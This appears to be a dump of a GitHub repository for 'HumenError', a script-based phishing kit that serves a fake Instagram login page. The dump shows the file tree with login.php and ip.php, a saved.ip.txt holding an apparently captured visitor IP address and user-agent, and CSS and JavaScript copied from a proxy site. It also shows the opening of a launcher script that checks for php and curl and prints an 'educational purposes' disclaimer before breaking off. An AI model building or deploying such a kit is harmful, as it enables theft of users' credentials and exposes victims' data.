├── sites ├── instagram │ ├── image.png │ ├── static │ │ ├── bg.png │ │ ├── logo.png │ │ ├── favicon.png │ │ ├── logo-1.png │ │ ├── instalabel.png │ │ ├── 2115b50d229d.png │ │ ├── 36b3ee2d91ed.ico │ │ ├── 3rhSv5V8j3o.gif │ │ ├── 4096734b4d61.png │ │ ├── 4f8c5d783a2c.png │ │ ├── 558818d23695.png │ │ ├── 68d99ba29cc8.png │ │ ├── 8YeTNIlTZjm.png │ │ ├── Cou7n-nqK52.gif │ │ ├── IE9JII6Z1Ys.png │ │ ├── ee71e0282118.png │ │ ├── fb48443ec9d3.png │ │ ├── jKEcVPZFk-2.gif │ │ ├── t-wz8gw1xG1.png │ │ ├── 68d99ba29cc8-1.png │ │ ├── fontawesome-webfont.eot │ │ ├── fontawesome-webfont.ttf │ │ ├── fontawesome-webfont.woff │ │ ├── fontawesome-webfont-1.eot │ │ ├── fontawesome-webfont.woff2 │ │ ├── glyphicons-halflings-regular.eot │ │ ├── glyphicons-halflings-regular.ttf │ │ ├── glyphicons-halflings-regular-1.eot │ │ ├── glyphicons-halflings-regular.woff │ │ ├── glyphicons-halflings-regular.woff2 │ │ ├── 2c17804c136bf909e15dfb3f35dcdfcf001c5e89.png │ │ ├── 37e47d08eeb04757397c0f194c7933823f850c35.png │ │ ├── 50ca8600190793cf9a52d13345ee08aed35f4998.png │ │ ├── 7bc74d9b109151483b0f44847332e237f823ca8b.png │ │ ├── 92ac92158459d75d781cce1b53d49aa06f5dcf59.png │ │ ├── f8551e8888d45193fa51f8bba7ed97a358c4820e.png │ │ ├── main.css │ │ ├── main.js │ │ ├── __cpa.cp.js.html │ │ ├── bowser.js │ │ ├── bootstrap-theme.min.css │ │ ├── font-awesome.min.css │ │ └── bootstrap.min.js │ ├── saved.ip.txt │ ├── login3.php │ ├── login.php │ └── ip.php └── screenshots │ ├── image1.png │ ├── image2.png │ ├── image3.png │ └── image4.png ├── README.md └── HumenError.sh /sites/instagram/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/image.png -------------------------------------------------------------------------------- /sites/instagram/static/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/bg.png -------------------------------------------------------------------------------- /sites/screenshots/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/screenshots/image1.png -------------------------------------------------------------------------------- /sites/screenshots/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/screenshots/image2.png -------------------------------------------------------------------------------- /sites/screenshots/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/screenshots/image3.png -------------------------------------------------------------------------------- /sites/screenshots/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/screenshots/image4.png -------------------------------------------------------------------------------- /sites/instagram/static/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/logo.png -------------------------------------------------------------------------------- /sites/instagram/static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/favicon.png -------------------------------------------------------------------------------- /sites/instagram/static/logo-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/logo-1.png -------------------------------------------------------------------------------- /sites/instagram/static/instalabel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/instalabel.png -------------------------------------------------------------------------------- /sites/instagram/static/2115b50d229d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/2115b50d229d.png -------------------------------------------------------------------------------- /sites/instagram/static/36b3ee2d91ed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/36b3ee2d91ed.ico -------------------------------------------------------------------------------- /sites/instagram/static/3rhSv5V8j3o.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/3rhSv5V8j3o.gif -------------------------------------------------------------------------------- /sites/instagram/static/4096734b4d61.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/4096734b4d61.png -------------------------------------------------------------------------------- /sites/instagram/static/4f8c5d783a2c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/4f8c5d783a2c.png -------------------------------------------------------------------------------- /sites/instagram/static/558818d23695.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/558818d23695.png -------------------------------------------------------------------------------- /sites/instagram/static/68d99ba29cc8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/68d99ba29cc8.png -------------------------------------------------------------------------------- /sites/instagram/static/8YeTNIlTZjm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/8YeTNIlTZjm.png -------------------------------------------------------------------------------- /sites/instagram/static/Cou7n-nqK52.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/Cou7n-nqK52.gif -------------------------------------------------------------------------------- /sites/instagram/static/IE9JII6Z1Ys.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/IE9JII6Z1Ys.png -------------------------------------------------------------------------------- /sites/instagram/static/ee71e0282118.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/ee71e0282118.png -------------------------------------------------------------------------------- /sites/instagram/static/fb48443ec9d3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fb48443ec9d3.png -------------------------------------------------------------------------------- /sites/instagram/static/jKEcVPZFk-2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/jKEcVPZFk-2.gif -------------------------------------------------------------------------------- /sites/instagram/static/t-wz8gw1xG1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/t-wz8gw1xG1.png -------------------------------------------------------------------------------- /sites/instagram/saved.ip.txt: -------------------------------------------------------------------------------- 1 | IP: 106.213.222.252 2 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 -------------------------------------------------------------------------------- /sites/instagram/static/68d99ba29cc8-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/68d99ba29cc8-1.png -------------------------------------------------------------------------------- /sites/instagram/static/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fontawesome-webfont.eot -------------------------------------------------------------------------------- /sites/instagram/static/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /sites/instagram/static/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fontawesome-webfont.woff -------------------------------------------------------------------------------- /sites/instagram/static/fontawesome-webfont-1.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fontawesome-webfont-1.eot -------------------------------------------------------------------------------- /sites/instagram/static/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /sites/instagram/static/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /sites/instagram/static/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /sites/instagram/static/glyphicons-halflings-regular-1.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/glyphicons-halflings-regular-1.eot -------------------------------------------------------------------------------- /sites/instagram/static/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /sites/instagram/static/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /sites/instagram/static/2c17804c136bf909e15dfb3f35dcdfcf001c5e89.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/2c17804c136bf909e15dfb3f35dcdfcf001c5e89.png -------------------------------------------------------------------------------- /sites/instagram/static/37e47d08eeb04757397c0f194c7933823f850c35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/37e47d08eeb04757397c0f194c7933823f850c35.png -------------------------------------------------------------------------------- /sites/instagram/static/50ca8600190793cf9a52d13345ee08aed35f4998.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/50ca8600190793cf9a52d13345ee08aed35f4998.png -------------------------------------------------------------------------------- /sites/instagram/static/7bc74d9b109151483b0f44847332e237f823ca8b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/7bc74d9b109151483b0f44847332e237f823ca8b.png -------------------------------------------------------------------------------- /sites/instagram/static/92ac92158459d75d781cce1b53d49aa06f5dcf59.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/92ac92158459d75d781cce1b53d49aa06f5dcf59.png -------------------------------------------------------------------------------- /sites/instagram/static/f8551e8888d45193fa51f8bba7ed97a358c4820e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZwNagi/HumenError/HEAD/sites/instagram/static/f8551e8888d45193fa51f8bba7ed97a358c4820e.png -------------------------------------------------------------------------------- /sites/instagram/login3.php: -------------------------------------------------------------------------------- 1 | span { 72 | margin-left: 5px; 73 | margin-right: 5px; 74 | } 75 | #content { 76 | flex: 1; 77 | width: 100%; 78 | height: 100%; 79 | display: -ms-flexbox; 80 | display: -webkit-flex; 81 | display: flex; 82 | -ms-flex-align: center; 83 | align-items: center; 84 | padding-bottom: 60px; 85 | } 86 | #contentBody, .alert { 87 | text-align: center; 88 | } 89 | #logoContainer { 90 | padding: 30px 0; 91 | } 92 | #logo { 93 | max-width: 340px; 94 | margin: 0 auto; 95 | } 96 | #logo img { 97 | width:100%; 98 | } 99 | #footer { 100 | text-align: center; 101 | padding-bottom: 30px; 102 | } 103 | .footerLink { 104 | white-space: nowrap; 105 | } 106 | .footerLinksPrimary { 107 | color: #666666; 108 | margin-bottom: 20px; 109 | } 110 | .footerLinksPrimary a { 111 | font-weight: bold; 112 | } 113 | .footerLinksPrimary span { 114 | white-space: nowrap; 115 | margin-right: 5px; 116 | margin-left: 5px; 117 | } 118 | 119 | /* content */ 120 | 121 | div.message 122 | { 123 | line-height: 20px; 124 | background-color: #EADFCA; 125 | border-radius: 5px; 126 | padding: 6px; 127 | overflow: hidden; 128 | margin-top: 10px; 129 | border: 1px solid #D7C29A; 130 | } 131 | div#zapperTop { 132 | padding-bottom: 10px; 133 | } 134 | div#zapperBottom { 135 | padding-top: 12px; 136 | } 137 | div#zapperSquare { 138 | margin: 25px 0 20px 0; 139 | display: flex; 140 | align-items: center; 141 | justify-content: center; 142 | } 143 | div#zapperIndexLeft { 144 | width: 336px; 145 | display: inline-block; 146 | align-self: flex-start; 147 | } 148 | div#zapperIndexRight { 149 | width: 336px; 150 | margin-left: 25px; 151 | display: inline-block; 152 | align-self: flex-start; 153 | } 154 | div#zapperSquareLeft { 155 | width: 336px; 156 | margin-right: 25px; 157 | display: inline-block; 158 | align-self: flex-start; 159 | } 160 | div#zapperSquareRight { 161 | width: 336px; 162 | display: inline-block; 163 | align-self: flex-start; 164 | } 165 | div#indexContent { 166 | padding-top: 15px; 167 | } 168 | div#proxyForm { 169 | background-color: #E9F0E5; 170 | border-radius: 5px; 171 | padding: 10px 0; 172 | margin: 20px 0 20px 0; 173 | } 174 | div#proxyForm form { 175 | margin: 0 10px; 176 | } 177 | div#proxyForm form > #requestSubmit { 178 | width: 100%; 179 | } 180 | .proxyFormPremium { 181 | width: 535px; 182 | float: left; 183 | } 184 | .proxyFormPremiumButton { 185 | float: right; 186 | margin-right: 10px; 187 | } 188 | .proxyFormPremiumButton a { 189 | width: 185px; 190 | } 191 | div#quickLinks { 192 | display: table; 193 | margin: 10px 10px 0 10px; 194 | font-size: 1.25em; 195 | } 196 | a.proxyLink { 197 | cursor: pointer; 198 | white-space: nowrap; 199 | } 200 | div#browserExtension { 201 | display: none; 202 | margin: 0 auto 20px auto; 203 | } 204 | .textLarge { 205 | font-size: 1.1em; 206 | } 207 | .articleImage { 208 | margin: 40px 0; 209 | } 210 | .numberCircle { 211 | border-radius: 50%; 212 | padding: 3px 10px; 213 | background: #8E8D8D; 214 | display: inline-block; 215 | color: white; 216 | } 217 | .strong { 218 | font-size: 1.3em; 219 | font-weight: bold; 220 | line-height: 1.25em; 221 | padding-bottom: 10px; 222 | margin-bottom: 10px; 223 | color: #555; 224 | } 225 | .highlighted { 226 | padding: 2px 0; 227 | display: inline-block; 228 | color: #555555; 229 | font-weight: bold; 230 | } 231 | .highlighted a { 232 | font-weight: bold; 233 | } 234 | .highlighted .fa-star { 235 | color: #F6CD53; 236 | text-stroke: 2px #7DA963; 237 | -webkit-text-stroke: 2px #7DA963; 238 | } 239 | p.conclusion { 240 | font-weight: bold; 241 | color: #444; 242 | } 243 | .green { 244 | color: green; 245 | } 246 | .gray { 247 | color: gray; 248 | } 249 | .red { 250 | color: red; 251 | } 252 | #accountModal { 253 | text-align: left; 254 | } 255 | .accountModalMessage 256 | { 257 | padding: 10px; 258 | } 259 | #subscriptionForm { 260 | width: 100%; 261 | min-height: 500px; 262 | border: 0; 263 | } 264 | .settings-panel { 265 | margin-bottom: 12px; 266 | } 267 | .settings-checkbox { 268 | margin-bottom: 0; 269 | } 270 | 271 | /* twitter */ 272 | 273 | .twitterButton { 274 | background-color: #1B95E0; 275 | display: inline-block; 276 | padding: 5px 9px; 277 | font: normal normal normal 13px 'Helvetica Neue',Arial,sans-serif; 278 | border-radius: 4px; 279 | height: 28px; 280 | color: white; 281 | text-decoration: none; 282 | font-weight: 500; 283 | } 284 | .twitterButton:hover { 285 | color: white; 286 | text-decoration: none; 287 | background-color: #0c7abf; 288 | } 289 | .twitterButton:focus { 290 | color: white; 291 | } 292 | .twitterButton .fa { 293 | font-size: 18px; 294 | display: block; 295 | float: left; 296 | } 297 | .twitterButtonText { 298 | float: left; 299 | padding: 1px 0 0 4px; 300 | } 301 | .twitterWidget { 302 | display: inline-block; 303 | margin-left: 2px; 304 | } 305 | 306 | /* registration */ 307 | 308 | #registrationPage { 309 | font-size: 1.1em; 310 | margin-top: 30px; 311 | } 312 | .benefits { 313 | background-color: #F6F1EA; 314 | border-radius: 7px; 315 | width: 100%; 316 | box-shadow: 0 0 3px 0 #555555; 317 | } 318 | .benefitsHeader { 319 | color: white; 320 | border-top-left-radius: 4px; 321 | border-top-right-radius: 4px; 322 | padding: 10px; 323 | background: linear-gradient(to top, #6B9454, #91B47B); 324 | font-size: 1.2em; 325 | } 326 | .benefits ul { 327 | margin: 0; 328 | } 329 | .benefitsContent { 330 | padding: 10px 20px 10px 0; 331 | } 332 | .benefitsText { 333 | text-align: left; 334 | } 335 | .comment { 336 | color: gray; 337 | font-size: 0.9em; 338 | line-height: 1.3em; 339 | } 340 | .mainBenefits { 341 | border-bottom: 1px solid #C1C1C1; 342 | padding-bottom: 10px; 343 | } 344 | 345 | /* checkout */ 346 | 347 | #paymentForm .badge { 348 | margin-top: 13px; 349 | background-color: #EF7B62; 350 | } 351 | #paymentForm .badgeGray { 352 | background-color: #8E8D8D; 353 | } 354 | #paymentForm input[type=radio] { 355 | transform: scale(1.4); 356 | margin-top: 5px; 357 | } 358 | #paymentForm .highlight { 359 | font-size: 1.2em; 360 | font-weight: bold; 361 | } 362 | #paymentForm .gray { 363 | color: #A7A7A7; 364 | } 365 | #paymentForm .gray .badge { 366 | background-color: #BBBBBB; 367 | } 368 | #paymentForm .panel-body { 369 | cursor: pointer; 370 | } 371 | 372 | /* feedback tab */ 373 | 374 | #feedbackTab { 375 | position: fixed; 376 | top: 35%; 377 | right: 0; 378 | width: 113px; 379 | height: 0; 380 | text-align: right; 381 | z-index: 1000; 382 | margin-top: -15px; 383 | } 384 | #feedbackTab a { 385 | transform: rotate(-90deg); 386 | -webkit-transform: rotate(-90deg); 387 | -moz-transform: rotate(-90deg); 388 | -o-transform: rotate(-90deg); 389 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3); 390 | display: block; 391 | background: #009BCC; 392 | text-align: center; 393 | height: 40px; 394 | width: 195px; 395 | padding: 8px 16px; 396 | color: #fff; 397 | font-family: Arial, sans-serif; 398 | font-size: 17px; 399 | font-weight: bold; 400 | text-decoration: none; 401 | box-shadow: 0 0 5px 0 #555555; 402 | } 403 | #feedbackTab a:hover { 404 | background: #00A9DE; 405 | } 406 | 407 | /* top info bar */ 408 | 409 | #infoBar { 410 | vertical-align: middle; 411 | z-index: 1000; 412 | background: inherit; 413 | display: block; 414 | padding: 5px 42px; 415 | text-align: center; 416 | left: 0; 417 | right: 0; 418 | position: fixed; 419 | line-height: 1.8em; 420 | box-shadow: 0 0 5px 0 #555555; 421 | 422 | } 423 | 424 | /* bootstrap */ 425 | 426 | .form-control:focus { 427 | border-color: #77A55C; 428 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(119, 165, 92, 0.6); 429 | } 430 | .btn { 431 | text-decoration: none; 432 | } 433 | 434 | /** font awesome **/ 435 | 436 | .fa-star { 437 | color: #F6CD53; 438 | } 439 | 440 | /** media queries **/ 441 | 442 | @media (max-width: 1200px) 443 | { 444 | .benefitsText { 445 | margin-bottom: 25px; 446 | } 447 | .proxyFormPremium { 448 | width: auto; 449 | float: none; 450 | } 451 | .proxyFormPremiumButton { 452 | margin: 15px 0 0 0; 453 | text-align: center; 454 | width: 100%; 455 | } 456 | div#zapperIndexRight { 457 | display: none; 458 | } 459 | div#zapperSquareLeft { 460 | margin-right: 0; 461 | margin-bottom: 20px; 462 | } 463 | } 464 | -------------------------------------------------------------------------------- /sites/instagram/static/main.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @param {string} url 3 | */ 4 | function proxy(url) 5 | { 6 | var requestForm = document.getElementById('request'); 7 | if (requestForm) { 8 | var requestUrlInput = document.getElementById('url'); 9 | requestUrlInput.value = url; 10 | requestForm.submit(); 11 | } 12 | } 13 | 14 | /** 15 | * @param {string} cookieString 16 | * @param {boolean} returnAsObject 17 | * @returns {any} 18 | */ 19 | function parseCookieGetString(cookieString, returnAsObject = true) 20 | { 21 | var result = !returnAsObject ? new window.Array() : new window.Object(); 22 | var cookies = cookieString.split(';'); 23 | for(var i = 0; i < cookies.length; i++) { 24 | var cur = splitOnce('=', cookies[i]); 25 | if(1 in cur) { 26 | if (!returnAsObject) { 27 | result.push({name: cur[0].trim(), value: cur[1]}); 28 | } else { 29 | result[cur[0].trim()] = cur[1]; 30 | } 31 | } 32 | } 33 | return result; 34 | } 35 | 36 | /** 37 | * @param {Object} cookie 38 | * @returns {null|string} 39 | */ 40 | function createCookieSetString(cookie) 41 | { 42 | var result = new window.Array(); 43 | if(!('name' in cookie) || !cookie.name) { 44 | return null; 45 | } 46 | result.push(cookie.name + '=' + cookie.value); 47 | delete cookie.name; 48 | delete cookie.value; 49 | for (var k in cookie) { 50 | var v = cookie[k]; 51 | if(v === true) { 52 | result.push(k); 53 | } 54 | else if(v !== false) { 55 | result.push(k + '=' + v); 56 | } 57 | } 58 | return result.join(';'); 59 | } 60 | 61 | /** 62 | * @param {string} separator 63 | * @param {string} str 64 | * @returns {array} 65 | */ 66 | function splitOnce(separator, str) 67 | { 68 | var i = str.indexOf(separator); 69 | return i >= 0 ? new window.Array(str.slice(0,i), str.slice(i+1)) : new window.Array(str); 70 | } 71 | 72 | /** 73 | * Add to manifest.json: 74 | * "web_accessible_resources": [ "images/test.png" ] 75 | * 76 | * Urls: 77 | * chrome-extension:///images/test.png 78 | * moz-extension:///images/test.png 79 | * 80 | * @param {string} extensionResourceUrl 81 | * @param {?Function} onErrorCallback 82 | */ 83 | function handleBrowserExtension(extensionResourceUrl, onErrorCallback) { 84 | var img; 85 | img = new Image(); 86 | img.src = extensionResourceUrl; 87 | img.onload = function() { 88 | if (console) { 89 | console.log('^^^ Browser extension is already installed ^^^'); 90 | } 91 | }; 92 | img.onerror = onErrorCallback; 93 | } 94 | 95 | /** 96 | * @param {Node|Element|EventTarget} el 97 | * @param {string} tag 98 | * @returns {*} 99 | */ 100 | function findParentElementByTagName(el, tag) { 101 | 102 | do { 103 | if (el.tagName && el.tagName.toLowerCase() === tag.toLowerCase()) { 104 | return el; 105 | } 106 | el = el.parentNode; 107 | } while (el); 108 | return null; 109 | } 110 | 111 | document.addEventListener("DOMContentLoaded", () => { 112 | 113 | // email addresses handling 114 | 115 | var emails = document.querySelectorAll('.em'); 116 | for (var email of emails) { 117 | email.innerHTML = 118 | email.getAttribute('data-name') + '@' + 119 | email.getAttribute('data-domain') + '.' + 120 | email.getAttribute('data-tld'); 121 | } 122 | 123 | // extension section handler 124 | 125 | var browserExtensionDiv = document.querySelector('#browserExtension'); 126 | if (browserExtensionDiv && !window.bowser.mobile && !window.bowser.tablet) { 127 | if (window.bowser.chrome || window.bowser.chromium) { 128 | // check for web store extension 129 | var extensionId = 'lmmpgfjnchldhcieiiegcpdmaidkaanb'; 130 | handleBrowserExtension( 131 | 'chrome-extension://' + extensionId + '/images/test.png', 132 | () => { 133 | // check for crx extension 134 | handleBrowserExtension( 135 | 'chrome-extension://ckjnnmdnpicjmpmcheonhjhbhamjclhi/images/test.png', 136 | () => { 137 | if (console) { 138 | console.log('^^^ Browser extension is not installed ^^^'); 139 | } 140 | browserExtensionDiv.innerHTML = 141 | '' + 142 | ' ' + 143 | 'Install CroxyProxy browser extension for ' + window.bowser.name + ' ' + 144 | '' + 145 | 'from Chrome web store' + 146 | ' ' + 147 | 'or manually. ' + 148 | 'Access websites with just one click!' + 149 | ''; 150 | browserExtensionDiv.style.display = 'table'; 151 | } 152 | ); 153 | } 154 | ); 155 | } 156 | } 157 | 158 | // quick link handler 159 | 160 | var proxyLinks = document.querySelectorAll('.proxyLink'); 161 | for (var proxyLink of proxyLinks) { 162 | proxyLink.addEventListener('click', function (event) { 163 | if (event.target.hasAttribute('data-href')) { 164 | proxy(event.target.getAttribute('data-href')); 165 | } 166 | event.preventDefault(); 167 | }); 168 | } 169 | 170 | // links confirmation handler 171 | 172 | document.body.addEventListener('click', function (event) { 173 | var targetElement = findParentElementByTagName(event.target, 'a'); 174 | if (targetElement && targetElement.getAttribute('data-confirm')) { 175 | if (!confirm(targetElement.getAttribute('data-confirm'))) { 176 | event.stopImmediatePropagation(); 177 | event.preventDefault(); 178 | return false; 179 | } 180 | } 181 | return true; 182 | }); 183 | 184 | // modal content 185 | 186 | $('#accountModal').on('show.bs.modal', () => { 187 | var modal = document.getElementById('accountModal'); 188 | var modalContent = document.getElementById('accountModalContent'); 189 | modalContent.innerHTML = '
Loading...
'; 190 | var handleError = (msg = null) => { 191 | modalContent.innerHTML = '
Network connection error. Please try later or contact support' + (msg ? '. ' + msg : '') + '
'; 192 | }; 193 | fetch(modal.getAttribute('data-modal-url'), { mode: 'cors', credentials: 'include' }).then((response) => { 194 | if (response.ok) { 195 | response.text().then((body) => { 196 | modalContent.innerHTML = body; 197 | }); 198 | } else { 199 | handleError(); 200 | } 201 | }).catch((e) => { 202 | handleError(e.message); 203 | }); 204 | }); 205 | 206 | // default url 207 | 208 | var proxyUrlField = document.querySelector('#proxyForm #url'); 209 | if (proxyUrlField) { 210 | var cookies = parseCookieGetString(document.cookie); 211 | if (cookies['__cpd']) { 212 | setTimeout(() => { 213 | proxyUrlField.value = atob(cookies['__cpd']); 214 | }, 500); 215 | document.cookie = createCookieSetString({ 216 | name: '__cpd', 217 | value: '', 218 | expires: 'Thu, 01 Jan 1970 00:00:01 GMT', 219 | path: '/', 220 | domain: location.host 221 | }); 222 | } 223 | } 224 | 225 | // feedback tab 226 | 227 | var feedbackTab = document.querySelector('#feedbackTab'); 228 | if (feedbackTab) { 229 | feedbackTab.addEventListener('click', (event) => { 230 | _urq.push(['Feedback_Open']); 231 | event.stopImmediatePropagation(); 232 | event.preventDefault(); 233 | }); 234 | } 235 | 236 | // google analytics goal events 237 | 238 | if (ga) { 239 | var proxyRequestForm = document.querySelector('form#request'); 240 | if (proxyRequestForm) { 241 | proxyRequestForm.addEventListener('submit', (event) => { 242 | ga('send', 'event', { 243 | 'eventCategory': 'proxy', 244 | 'eventAction': 'request', 245 | 'eventLabel': 'Proxy request', 246 | 'hitCallback': () => { 247 | proxyRequestForm.submit(); 248 | }, 249 | 'hitCallbackFail' : () => { 250 | proxyRequestForm.submit(); 251 | } 252 | }); 253 | event.stopImmediatePropagation(); 254 | event.preventDefault(); 255 | }); 256 | } 257 | var registrationForm = document.querySelector('form#registration'); 258 | if (registrationForm) { 259 | registrationForm.addEventListener('submit', (event) => { 260 | ga('send', 'event', { 261 | 'eventCategory': 'premium', 262 | 'eventAction': 'registrationCheckout', 263 | 'eventLabel': 'Premium registration checkout', 264 | 'hitCallback': () => { 265 | registrationForm.submit(); 266 | }, 267 | 'hitCallbackFail' : () => { 268 | registrationForm.submit(); 269 | } 270 | }); 271 | event.stopImmediatePropagation(); 272 | event.preventDefault(); 273 | }); 274 | } 275 | var paymentForm = document.querySelector('form#payment'); 276 | if (paymentForm) { 277 | paymentForm.addEventListener('submit', (event) => { 278 | ga('send', 'event', { 279 | 'eventCategory': 'premium', 280 | 'eventAction': 'accountCheckout', 281 | 'eventLabel': 'Premium account checkout', 282 | 'hitCallback': () => { 283 | paymentForm.submit(); 284 | }, 285 | 'hitCallbackFail' : () => { 286 | paymentForm.submit(); 287 | } 288 | }); 289 | event.stopImmediatePropagation(); 290 | event.preventDefault(); 291 | }); 292 | } 293 | } 294 | 295 | // top info bar 296 | 297 | var infoBar = document.querySelector('#infoBar'); 298 | if (infoBar) { 299 | var style = window.getComputedStyle(infoBar); 300 | var styleElement = document.createElement("style"); 301 | styleElement.appendChild(document.createTextNode("")); 302 | document.head.appendChild(styleElement); 303 | styleElement.sheet.insertRule( 304 | "body:before {content: ' '; display: block; visibility: hidden; padding: 0; margin: 0; height: " + style.height + "}" 305 | ); 306 | } 307 | 308 | // disable form elements after submission 309 | 310 | var forms = document.querySelectorAll('form'); 311 | for (var form of forms) { 312 | ((defaultSubmit) => { 313 | form.submit = function () { 314 | for (var element of form.elements) { 315 | element.readOnly = true; 316 | } 317 | for (var button of form.querySelectorAll('button[type=submit], input[type=submit]')) { 318 | button.disabled = true; 319 | } 320 | defaultSubmit.call(this); 321 | }; 322 | })(form.submit); 323 | form.addEventListener('submit', function () { 324 | this.submit(); 325 | }); 326 | } 327 | }); 328 | -------------------------------------------------------------------------------- /HumenError.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Made By SamadBloch The Malicious 3 | 4 | 5 | trap 'printf "\n";stop;exit 1' 2 6 | 7 | 8 | dependencies() { 9 | 10 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; } 11 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Install it. Aborting."; exit 1; } 12 | 13 | } 14 | 15 | echo " 16 | ▄█ █▄ ███ █▄ ▄▄▄▄███▄▄▄▄ ▄████████ ███▄▄▄▄ 17 | ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███▀▀▀██▄ 18 | ███ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ 19 | ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ███ ▄███▄▄▄ ███ ███ 20 | ▀▀███▀▀▀▀███▀ ███ ███ ███ ███ ███ ▀▀███▀▀▀ ███ ███ 21 | ███ ███ ███ ███ ███ ███ ███ ███ █▄ ███ ███ 22 | ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ 23 | ███ █▀ ████████▀ ▀█ ███ █▀ ██████████ ▀█ █▀ Error 24 | 25 | -_- Made By SamadBloch The Malicious -_- 26 | 27 | 28 | " 29 | echo "[1] Instagram:- https://instagram.com/im_malicious" 30 | echo "[2] Twitter:- https://twitter.com/Malicious_Coder" 31 | echo "" 32 | echo "This Tool is only for educational perposes Use this tool at your" 33 | echo "own risk the author is not responsible for your any miss use of " 34 | echo "of this tool." 35 | echo 